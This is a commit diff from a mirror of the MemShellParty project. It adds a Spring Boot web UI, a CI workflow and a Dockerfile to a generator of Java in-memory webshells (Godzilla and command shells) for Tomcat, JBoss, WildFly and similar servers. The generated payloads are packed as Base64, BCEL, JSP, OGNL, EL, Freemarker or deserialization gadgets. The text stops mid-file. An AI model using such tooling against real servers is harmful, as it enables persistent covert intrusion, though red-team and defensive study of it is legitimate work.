mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-21 22:50:42 +08:00
feat: support boot-ui
This commit is contained in:
@@ -0,0 +1,66 @@
|
||||
name: Build
|
||||
|
||||
on:
|
||||
push:
|
||||
paths-ignore:
|
||||
- 'docs/**'
|
||||
- '**.md'
|
||||
concurrency:
|
||||
group: ${{ github.workflow }}-${{ github.ref }}
|
||||
cancel-in-progress: true
|
||||
|
||||
jobs:
|
||||
build:
|
||||
name: Build Jar
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v4
|
||||
- name: Setup Java
|
||||
uses: actions/setup-java@v4
|
||||
with:
|
||||
distribution: 'temurin'
|
||||
java-version: 17
|
||||
- name: Setup Gradle
|
||||
uses: gradle/actions/setup-gradle@v4
|
||||
- uses: actions/setup-node@v4
|
||||
with:
|
||||
node-version: '23'
|
||||
- uses: oven-sh/setup-bun@v2
|
||||
with:
|
||||
bun-version: latest
|
||||
- name: Build Web
|
||||
run: bun install && bun build && bash copy-build.sh
|
||||
- name: Build with Gradle
|
||||
run: ./gradlew :boot:bootjar
|
||||
- name: Upload Jar
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: boot
|
||||
path: boot/build/libs/boot.jar
|
||||
push:
|
||||
name: Docker Push
|
||||
needs: [ build ]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Download Jar
|
||||
uses: actions/download-artifact@v4
|
||||
with:
|
||||
name: boot
|
||||
path: boot/build/libs
|
||||
- name: Login to Docker Hub
|
||||
uses: docker/login-action@v3
|
||||
with:
|
||||
username: ${{ vars.DOCKERHUB_USERNAME }}
|
||||
password: ${{ secrets.DOCKERHUB_TOKEN }}
|
||||
- name: Set up QEMU
|
||||
uses: docker/setup-qemu-action@v3
|
||||
- name: Set up Docker Buildx
|
||||
uses: docker/setup-buildx-action@v3
|
||||
- name: Build and push
|
||||
uses: docker/build-push-action@v6
|
||||
with:
|
||||
context: boot/
|
||||
platforms: linux/amd64,linux/arm64
|
||||
push: true
|
||||
tags: reajason/memshell-party:latest
|
||||
@@ -0,0 +1,12 @@
|
||||
FROM eclipse-temurin:17-jre
|
||||
LABEL authors="ReaJason<[email protected]>"
|
||||
|
||||
WORKDIR /app
|
||||
COPY build/libs/boot.jar app.jar
|
||||
|
||||
ENV JAVA_OPTS="" \
|
||||
INTER_JAVA_OPTS="--add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED"
|
||||
|
||||
EXPOSE 8080
|
||||
|
||||
ENTRYPOINT java $JAVA_OPTS $INTER_JAVA_OPTS -jar app.jar
|
||||
+33
-7
@@ -5,7 +5,7 @@ plugins {
|
||||
}
|
||||
|
||||
group = 'com.reajason.javaweb'
|
||||
version = '0.0.1-SNAPSHOT'
|
||||
version = ''
|
||||
|
||||
java {
|
||||
toolchain {
|
||||
@@ -13,21 +13,47 @@ java {
|
||||
}
|
||||
}
|
||||
|
||||
def runtimeJvmArgs = [
|
||||
'--add-opens=java.base/java.util=ALL-UNNAMED',
|
||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
||||
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
||||
]
|
||||
|
||||
tasks.withType(JavaCompile).configureEach {
|
||||
options.compilerArgs += [
|
||||
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
|
||||
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
|
||||
]
|
||||
}
|
||||
|
||||
tasks.withType(Test).configureEach {
|
||||
jvmArgs += runtimeJvmArgs
|
||||
}
|
||||
|
||||
// For running the application
|
||||
tasks.withType(JavaExec).configureEach {
|
||||
jvmArgs += runtimeJvmArgs
|
||||
}
|
||||
|
||||
configurations {
|
||||
compileOnly {
|
||||
extendsFrom annotationProcessor
|
||||
}
|
||||
}
|
||||
|
||||
repositories {
|
||||
mavenCentral()
|
||||
}
|
||||
|
||||
dependencies {
|
||||
implementation project(":deserialize")
|
||||
implementation project(":generator")
|
||||
implementation(project(":generator")) {
|
||||
exclude group: 'org.apache.tomcat', module: 'tomcat-catalina'
|
||||
exclude group: 'commons-logging', module: 'commons-logging'
|
||||
}
|
||||
implementation(project(":deserialize")) {
|
||||
exclude group: 'commons-logging', module: 'commons-logging'
|
||||
}
|
||||
implementation 'org.apache.bcel:bcel:5.2'
|
||||
implementation 'org.springframework.boot:spring-boot-starter-thymeleaf'
|
||||
implementation 'org.springframework.boot:spring-boot-starter-web'
|
||||
implementation 'org.springframework.boot:spring-boot-starter-tomcat'
|
||||
implementation 'com.google.code.gson:gson:2.11.0'
|
||||
compileOnly 'org.projectlombok:lombok'
|
||||
developmentOnly 'org.springframework.boot:spring-boot-devtools'
|
||||
annotationProcessor 'org.springframework.boot:spring-boot-configuration-processor'
|
||||
|
||||
@@ -13,4 +13,4 @@ public class BootApplication {
|
||||
SpringApplication.run(BootApplication.class, args);
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
package com.reajason.javaweb.boot.api;
|
||||
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Data;
|
||||
import lombok.NoArgsConstructor;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/5/30
|
||||
*/
|
||||
@Data
|
||||
@NoArgsConstructor
|
||||
@AllArgsConstructor
|
||||
public class ErrorResponse {
|
||||
private String error;
|
||||
}
|
||||
@@ -0,0 +1,22 @@
|
||||
package com.reajason.javaweb.boot.api;
|
||||
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import org.springframework.http.HttpStatus;
|
||||
import org.springframework.web.bind.annotation.ExceptionHandler;
|
||||
import org.springframework.web.bind.annotation.ResponseStatus;
|
||||
import org.springframework.web.bind.annotation.RestControllerAdvice;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/5/30
|
||||
*/
|
||||
@RestControllerAdvice
|
||||
@Slf4j
|
||||
public class GlobalExceptionHandler {
|
||||
@ResponseStatus(HttpStatus.INTERNAL_SERVER_ERROR)
|
||||
@ExceptionHandler(Throwable.class)
|
||||
public ErrorResponse handleThrowable(Throwable throwable) {
|
||||
log.error("请求出错", throwable);
|
||||
return new ErrorResponse(throwable.getMessage());
|
||||
}
|
||||
}
|
||||
@@ -3,28 +3,27 @@ package com.reajason.javaweb.boot.controller;
|
||||
import com.reajason.javaweb.boot.entity.Config;
|
||||
import com.reajason.javaweb.config.Server;
|
||||
import com.reajason.javaweb.config.ShellTool;
|
||||
import com.reajason.javaweb.deserialize.PayloadType;
|
||||
import com.reajason.javaweb.memsell.AbstractShell;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.CrossOrigin;
|
||||
import org.springframework.web.bind.annotation.RequestMapping;
|
||||
import org.springframework.web.bind.annotation.RestController;
|
||||
|
||||
import java.util.ArrayList;
|
||||
import java.util.HashMap;
|
||||
import java.util.List;
|
||||
import java.util.Map;
|
||||
import java.util.*;
|
||||
import java.util.stream.Collectors;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/13
|
||||
*/
|
||||
@RestController("/config")
|
||||
@RestController
|
||||
@RequestMapping("/config")
|
||||
@CrossOrigin("*")
|
||||
public class ConfigController {
|
||||
@RequestMapping
|
||||
public ResponseEntity<?> config() {
|
||||
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
|
||||
List<String> servers = new ArrayList<>();
|
||||
for (Server value : Server.values()) {
|
||||
AbstractShell shell = value.getShell();
|
||||
if (shell != null) {
|
||||
@@ -34,22 +33,24 @@ public class ConfigController {
|
||||
List<String> supportedShellTypes = shell.getSupportedShellTypes(shellTool);
|
||||
map.put(shellTool.name(), supportedShellTypes);
|
||||
}
|
||||
servers.add(value.name());
|
||||
coreMap.put(value.name(), map);
|
||||
}
|
||||
}
|
||||
Config config = new Config();
|
||||
config.setServers(servers);
|
||||
config.setServers(
|
||||
Arrays.stream(Server.values())
|
||||
.filter(s -> s.getShell() != null)
|
||||
.map(Server::name)
|
||||
.collect(Collectors.toList())
|
||||
);
|
||||
config.setCore(coreMap);
|
||||
Map<String, Map<?, ?>> packerMap = new HashMap<>(16);
|
||||
for (Packer.INSTANCE value : Packer.INSTANCE.values()) {
|
||||
if (value.equals(Packer.INSTANCE.Deserialize)) {
|
||||
packerMap.put(value.name(), Map.of("payloads", PayloadType.values()));
|
||||
} else {
|
||||
packerMap.put(value.name(), null);
|
||||
}
|
||||
}
|
||||
config.setPacker(packerMap);
|
||||
config.setPackers(Arrays.stream(Packer.INSTANCE.values())
|
||||
.collect(Collectors.toMap(
|
||||
Packer.INSTANCE::getDesc,
|
||||
Packer.INSTANCE::name,
|
||||
(e1, e2) -> e1,
|
||||
LinkedHashMap::new
|
||||
)));
|
||||
return ResponseEntity.ok(config);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,30 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import com.reajason.javaweb.GeneratorMain;
|
||||
import com.reajason.javaweb.boot.dto.GenerateRequest;
|
||||
import com.reajason.javaweb.boot.dto.GenerateResponse;
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import com.reajason.javaweb.config.InjectorConfig;
|
||||
import com.reajason.javaweb.config.ShellConfig;
|
||||
import com.reajason.javaweb.config.ShellToolConfig;
|
||||
import org.springframework.http.ResponseEntity;
|
||||
import org.springframework.web.bind.annotation.*;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@RestController
|
||||
@RequestMapping("/generate")
|
||||
@CrossOrigin("*")
|
||||
public class GeneratorController {
|
||||
@PostMapping
|
||||
public ResponseEntity<?> generate(@RequestBody GenerateRequest request) {
|
||||
ShellConfig shellConfig = request.getShellConfig();
|
||||
ShellToolConfig shellToolConfig = request.parseShellToolConfig();
|
||||
InjectorConfig injectorConfig = request.getInjectorConfig();
|
||||
GenerateResult generateResult = GeneratorMain.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
String packResult = request.getPacker().getPacker().pack(generateResult);
|
||||
return ResponseEntity.ok(new GenerateResponse(generateResult, packResult));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
package com.reajason.javaweb.boot.controller;
|
||||
|
||||
import org.springframework.stereotype.Controller;
|
||||
import org.springframework.web.bind.annotation.GetMapping;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/19
|
||||
*/
|
||||
@Controller
|
||||
public class ViewController {
|
||||
@GetMapping("/")
|
||||
public String index() {
|
||||
return "index";
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.config.*;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import lombok.Data;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@Data
|
||||
public class GenerateRequest {
|
||||
private ShellConfig shellConfig;
|
||||
private ShellToolConfigDTO shellToolConfig;
|
||||
private InjectorConfig injectorConfig;
|
||||
private Packer.INSTANCE packer;
|
||||
|
||||
public ShellToolConfig parseShellToolConfig() {
|
||||
if (shellConfig.getShellTool().equals(ShellTool.Godzilla)) {
|
||||
return GodzillaConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.pass(shellToolConfig.getGodzillaPass())
|
||||
.key(shellToolConfig.getGodzillaKey())
|
||||
.headerName(shellToolConfig.getGodzillaHeaderName())
|
||||
.headerValue(shellToolConfig.getGodzillaHeaderValue())
|
||||
.build();
|
||||
}
|
||||
if (shellConfig.getShellTool().equals(ShellTool.Command)) {
|
||||
return CommandConfig.builder()
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.paramName(shellToolConfig.getCommandParamName())
|
||||
.build();
|
||||
}
|
||||
throw new UnsupportedOperationException("unknown shell tool " + shellConfig.getShellTool());
|
||||
}
|
||||
|
||||
@Data
|
||||
static class ShellToolConfigDTO {
|
||||
private String shellClassName;
|
||||
private String godzillaPass;
|
||||
private String godzillaKey;
|
||||
private String godzillaHeaderName;
|
||||
private String godzillaHeaderValue;
|
||||
private String commandParamName;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,16 @@
|
||||
package com.reajason.javaweb.boot.dto;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import lombok.AllArgsConstructor;
|
||||
import lombok.Data;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/18
|
||||
*/
|
||||
@Data
|
||||
@AllArgsConstructor
|
||||
public class GenerateResponse {
|
||||
private GenerateResult generateResult;
|
||||
private String packResult;
|
||||
}
|
||||
@@ -13,5 +13,5 @@ import java.util.Map;
|
||||
public class Config {
|
||||
private List<String> servers;
|
||||
private Map<String, Map<?, ?>> core;
|
||||
private Map<String, Map<?, ?>> packer;
|
||||
private Map<String, String> packers;
|
||||
}
|
||||
@@ -52,6 +52,8 @@ dependencies {
|
||||
implementation 'org.java-websocket:Java-WebSocket:1.5.7'
|
||||
implementation 'jakarta.servlet:jakarta.servlet-api:5.0.0'
|
||||
// implementation fileTree('libs')
|
||||
implementation 'xalan:xalan:2.7.0'
|
||||
implementation 'org.apache.bcel:bcel:5.2'
|
||||
|
||||
implementation 'commons-io:commons-io:2.+'
|
||||
implementation 'org.apache.commons:commons-lang3:3.+'
|
||||
|
||||
@@ -3,14 +3,14 @@ package com.reajason.javaweb;
|
||||
import com.reajason.javaweb.config.*;
|
||||
import com.reajason.javaweb.memsell.AbstractShell;
|
||||
import com.reajason.javaweb.memsell.packer.Packer;
|
||||
import com.reajason.javaweb.memsell.tomcat.TomcatShell;
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.nio.file.Files;
|
||||
import java.nio.file.Paths;
|
||||
import java.nio.file.StandardOpenOption;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -24,6 +24,7 @@ public class GeneratorMain {
|
||||
.shellTool(ShellTool.Command)
|
||||
.shellType(Constants.FILTER)
|
||||
.targetJreVersion(Opcodes.V1_6)
|
||||
.debug(true)
|
||||
.build();
|
||||
GodzillaConfig godzillaConfig = GodzillaConfig.builder()
|
||||
.pass("pass")
|
||||
@@ -37,7 +38,7 @@ public class GeneratorMain {
|
||||
// Files.write(Paths.get(generateResult.getInjectorClassName() + ".class"), generateResult.getInjectorBytes(), StandardOpenOption.CREATE_NEW);
|
||||
// Files.write(Paths.get(generateResult.getShellClassName() + ".class"), generateResult.getShellBytes(), StandardOpenOption.CREATE_NEW);
|
||||
System.out.println(Base64.encodeBase64String(generateResult.getInjectorBytes()));
|
||||
System.out.println(new String(Packer.INSTANCE.JSP.getPacker().pack(generateResult)));
|
||||
System.out.println(Packer.INSTANCE.ScriptEngine.getPacker().pack(generateResult));
|
||||
}
|
||||
}
|
||||
|
||||
@@ -47,11 +48,19 @@ public class GeneratorMain {
|
||||
if (shell == null) {
|
||||
throw new IllegalArgumentException("Unsupported server");
|
||||
}
|
||||
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
|
||||
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
|
||||
}
|
||||
|
||||
if (StringUtils.isBlank(injectorConfig.getInjectorClassName())) {
|
||||
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
|
||||
}
|
||||
|
||||
return shell.generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static byte[] generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
|
||||
public static String generate(ShellConfig shellConfig, InjectorConfig injectorConfig, ShellToolConfig shellToolConfig, Packer.INSTANCE packerInstance) {
|
||||
GenerateResult generateResult = generate(shellConfig, injectorConfig, shellToolConfig);
|
||||
if (generateResult != null) {
|
||||
return packerInstance.getPacker().pack(generateResult);
|
||||
|
||||
@@ -16,7 +16,12 @@ import static net.bytebuddy.jar.asm.Opcodes.INVOKEVIRTUAL;
|
||||
import static net.bytebuddy.jar.asm.Opcodes.POP;
|
||||
|
||||
/**
|
||||
* Debug 信息打印移除器,目前仅支持移除 System.out.println() - (printf 还不支持) 和 e.printStackTrace()
|
||||
* Debug 信息打印移除器
|
||||
* 目前仅支持移除以下几种
|
||||
* <br />
|
||||
* 1. System.out.println() - (printf 还不支持)
|
||||
* 2. e.printStackTrace()
|
||||
* 3. Logger.info (java.util)
|
||||
*
|
||||
* @author ReaJason
|
||||
*/
|
||||
|
||||
@@ -13,9 +13,11 @@ import org.apache.commons.codec.binary.Base64;
|
||||
public class GenerateResult {
|
||||
private String shellClassName;
|
||||
private transient byte[] shellBytes;
|
||||
private long shellSize;
|
||||
private String shellBytesBase64Str;
|
||||
private String injectorClassName;
|
||||
private transient byte[] injectorBytes;
|
||||
private long injectorSize;
|
||||
private String injectorBytesBase64Str;
|
||||
private ShellConfig shellConfig;
|
||||
private ShellToolConfig shellToolConfig;
|
||||
@@ -25,12 +27,14 @@ public class GenerateResult {
|
||||
public GenerateResult build() {
|
||||
if (shellBytes != null) {
|
||||
shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
|
||||
shellSize = shellBytes.length;
|
||||
}
|
||||
if (injectorBytes != null) {
|
||||
injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
|
||||
injectorSize = injectorBytes.length;
|
||||
}
|
||||
return new GenerateResult(shellClassName, shellBytes, shellBytesBase64Str,
|
||||
injectorClassName, injectorBytes, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
||||
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
|
||||
injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -27,12 +27,15 @@ public enum Server {
|
||||
/**
|
||||
* JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
|
||||
*/
|
||||
JBoss(new JbossShell()),
|
||||
JBossAS(new JbossShell()),
|
||||
JBossEAP6(new JbossShell()),
|
||||
/**
|
||||
* Undertow,对应是 Wildfly 以及 JBoss EAP,也有可能是 SpringBoot 用的
|
||||
* <a href="https://developers.redhat.com/products/eap/download">JBossEAP</a>
|
||||
*/
|
||||
Undertow(new UndertowShell()),
|
||||
JBossEAP7(new UndertowShell()),
|
||||
WildFly(new UndertowShell()),
|
||||
|
||||
/**
|
||||
* SpringMVC 框架
|
||||
|
||||
@@ -19,11 +19,11 @@ public class ShellToolConfig {
|
||||
/**
|
||||
* 模板类 shellClass
|
||||
*/
|
||||
private Class<?> clazz;
|
||||
private Class<?> shellClass;
|
||||
|
||||
/**
|
||||
* shellClass 的类名
|
||||
*/
|
||||
@Builder.Default
|
||||
private String className = CommonUtil.generateShellClassName();
|
||||
private String shellClassName = CommonUtil.generateShellClassName();
|
||||
}
|
||||
@@ -29,8 +29,8 @@ public abstract class AbstractShell {
|
||||
*/
|
||||
public List<String> getSupportedShellTypes(ShellTool tool) {
|
||||
return switch (tool) {
|
||||
case Godzilla -> getGodzillaShellMap().keySet().stream().toList();
|
||||
case Command -> getCommandShellMap().keySet().stream().toList();
|
||||
case Godzilla -> getGodzillaShellMap().keySet().stream().sorted().toList();
|
||||
case Command -> getCommandShellMap().keySet().stream().sorted().toList();
|
||||
default -> Collections.emptyList();
|
||||
};
|
||||
}
|
||||
@@ -59,14 +59,14 @@ public abstract class AbstractShell {
|
||||
Class<?> shellClass = shellInjectorPair.getLeft();
|
||||
Class<?> injectorClass = shellInjectorPair.getRight();
|
||||
|
||||
shellToolConfig.setClazz(shellClass);
|
||||
shellToolConfig.setShellClass(shellClass);
|
||||
|
||||
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
|
||||
|
||||
injectorConfig = injectorConfig
|
||||
.toBuilder()
|
||||
.injectorClass(injectorClass)
|
||||
.shellClassName(shellToolConfig.getClassName())
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.shellClassBytes(shellBytes).build();
|
||||
|
||||
byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
|
||||
@@ -75,7 +75,7 @@ public abstract class AbstractShell {
|
||||
.shellConfig(shellConfig)
|
||||
.shellToolConfig(shellToolConfig)
|
||||
.injectorConfig(injectorConfig)
|
||||
.shellClassName(shellToolConfig.getClassName())
|
||||
.shellClassName(shellToolConfig.getShellClassName())
|
||||
.shellBytes(shellBytes)
|
||||
.injectorClassName(injectorConfig.getInjectorClassName())
|
||||
.injectorBytes(injectorBytes)
|
||||
|
||||
@@ -19,14 +19,14 @@ import net.bytebuddy.matcher.ElementMatchers;
|
||||
public class CommandGenerator {
|
||||
|
||||
public static byte[] generate(ShellConfig config, CommandConfig shellConfig) {
|
||||
if (shellConfig.getClazz() == null) {
|
||||
if (shellConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("shellConfig.getClazz() == null");
|
||||
}
|
||||
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
||||
.andThen(FieldAccessor.ofField("paramName").setsValue(shellConfig.getParamName()));
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(shellConfig.getClazz())
|
||||
.name(shellConfig.getClassName())
|
||||
.redefine(shellConfig.getShellClass())
|
||||
.name(shellConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(config.getTargetJreVersion()))
|
||||
.constructor(ElementMatchers.any()).intercept(fieldSets);
|
||||
|
||||
|
||||
@@ -11,6 +11,7 @@ import net.bytebuddy.implementation.FieldAccessor;
|
||||
import net.bytebuddy.implementation.SuperMethodCall;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
import org.apache.commons.lang3.StringUtils;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -26,15 +27,18 @@ public class GodzillaGenerator {
|
||||
}
|
||||
|
||||
public DynamicType.Builder<?> getBuilder() {
|
||||
if (godzillaConfig.getClazz() == null) {
|
||||
if (godzillaConfig.getShellClass() == null) {
|
||||
throw new IllegalArgumentException("godzillaConfig.getClazz() == null");
|
||||
}
|
||||
if (StringUtils.isBlank(godzillaConfig.getKey()) || StringUtils.isBlank(godzillaConfig.getPass())) {
|
||||
throw new IllegalArgumentException("godzillaConfig.getKey().isBlank() || godzillaConfig.getPass().isBlank()");
|
||||
}
|
||||
String md5Key = DigestUtils.md5Hex(godzillaConfig.getKey()).substring(0, 16);
|
||||
String md5 = DigestUtils.md5Hex(godzillaConfig.getPass() + md5Key).toUpperCase();
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(godzillaConfig.getClazz())
|
||||
.name(godzillaConfig.getClassName())
|
||||
.redefine(godzillaConfig.getShellClass())
|
||||
.name(godzillaConfig.getShellClassName())
|
||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
||||
.constructor(ElementMatchers.any())
|
||||
.intercept(SuperMethodCall.INSTANCE
|
||||
|
||||
@@ -0,0 +1,17 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import lombok.SneakyThrows;
|
||||
import org.apache.bcel.classfile.Utility;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/19
|
||||
*/
|
||||
public class BCELPacker implements Packer {
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public String pack(GenerateResult generateResult) {
|
||||
return "$$BCEL$$" + Utility.encode(generateResult.getInjectorBytes(), true);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
package com.reajason.javaweb.memsell.packer;
|
||||
|
||||
import com.reajason.javaweb.config.GenerateResult;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/17
|
||||
*/
|
||||
public class Base64Packer implements Packer {
|
||||
@Override
|
||||
public String pack(GenerateResult generateResult) {
|
||||
return Base64.encodeBase64String(generateResult.getInjectorBytes());
|
||||
}
|
||||
}
|
||||
@@ -5,8 +5,7 @@ import com.reajason.javaweb.deserialize.DeserializeConfig;
|
||||
import com.reajason.javaweb.deserialize.DeserializeGenerator;
|
||||
import com.reajason.javaweb.deserialize.PayloadType;
|
||||
import lombok.SneakyThrows;
|
||||
|
||||
import java.util.Map;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
@@ -16,17 +15,9 @@ public class DeserializePacker implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public byte[] pack(GenerateResult generateResult) {
|
||||
public String pack(GenerateResult generateResult) {
|
||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||
deserializeConfig.setPayloadType(PayloadType.CommonsBeanutils19);
|
||||
return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig);
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] pack(GenerateResult generateResult, Map<String, ?> config) {
|
||||
String payloadType = (String) config.get("payloadType");
|
||||
DeserializeConfig deserializeConfig = new DeserializeConfig();
|
||||
deserializeConfig.setPayloadType(PayloadType.getPayloadType(payloadType));
|
||||
return DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig);
|
||||
return Base64.encodeBase64String(DeserializeGenerator.generate(generateResult.getInjectorBytes(), deserializeConfig));
|
||||
}
|
||||
}
|
||||
@@ -24,8 +24,8 @@ public class ELPacker implements Packer {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] pack(GenerateResult generateResult) {
|
||||
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
|
||||
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = scriptEnginePacker.pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -24,8 +24,8 @@ public class FreemarkerPacker implements Packer {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] pack(GenerateResult generateResult) {
|
||||
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
|
||||
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = scriptEnginePacker.pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -26,9 +26,9 @@ public class JspPacker implements Packer {
|
||||
|
||||
@Override
|
||||
@SneakyThrows
|
||||
public byte[] pack(GenerateResult generateResult) {
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String injectorBytesBase64Str = generateResult.getInjectorBytesBase64Str();
|
||||
String injectorClassName = generateResult.getInjectorClassName();
|
||||
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str).getBytes();
|
||||
return jspTemplate.replace("{{className}}", injectorClassName).replace("{{base64Str}}", injectorBytesBase64Str);
|
||||
}
|
||||
}
|
||||
@@ -11,11 +11,11 @@ import java.util.Objects;
|
||||
* @author ReaJason
|
||||
* @since 2024/12/14
|
||||
*/
|
||||
public class OgnlPacker implements Packer {
|
||||
public class OGNLPacker implements Packer {
|
||||
ScriptEnginePacker scriptEnginePacker = new ScriptEnginePacker();
|
||||
String template = "";
|
||||
|
||||
public OgnlPacker() {
|
||||
public OGNLPacker() {
|
||||
try {
|
||||
template = IOUtils.toString(Objects.requireNonNull(this.getClass().getResourceAsStream("/OgnlScriptEngine.txt")), Charset.defaultCharset());
|
||||
} catch (IOException ignored) {
|
||||
@@ -24,8 +24,8 @@ public class OgnlPacker implements Packer {
|
||||
}
|
||||
|
||||
@Override
|
||||
public byte[] pack(GenerateResult generateResult) {
|
||||
byte[] scriptBytes = scriptEnginePacker.pack(generateResult);
|
||||
return template.replace("{{script}}", new String(scriptBytes)).getBytes();
|
||||
public String pack(GenerateResult generateResult) {
|
||||
String script = scriptEnginePacker.pack(generateResult);
|
||||
return template.replace("{{script}}", script);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -17,7 +17,7 @@ public interface Packer {
|
||||
* @param generateResult 生成的内存马信息
|
||||
* @return 指定格式字节数组
|
||||
*/
|
||||
byte[] pack(GenerateResult generateResult);
|
||||
String pack(GenerateResult generateResult);
|
||||
|
||||
/**
|
||||
* 部分打包器可能需要配置来进行额外的配置项
|
||||
@@ -33,38 +33,50 @@ public interface Packer {
|
||||
|
||||
@Getter
|
||||
static enum INSTANCE {
|
||||
/**
|
||||
* Base64
|
||||
*/
|
||||
Base64("Base64", new Base64Packer()),
|
||||
|
||||
/**
|
||||
* BCEL
|
||||
*/
|
||||
BCEL("BCEL", new BCELPacker()),
|
||||
|
||||
/**
|
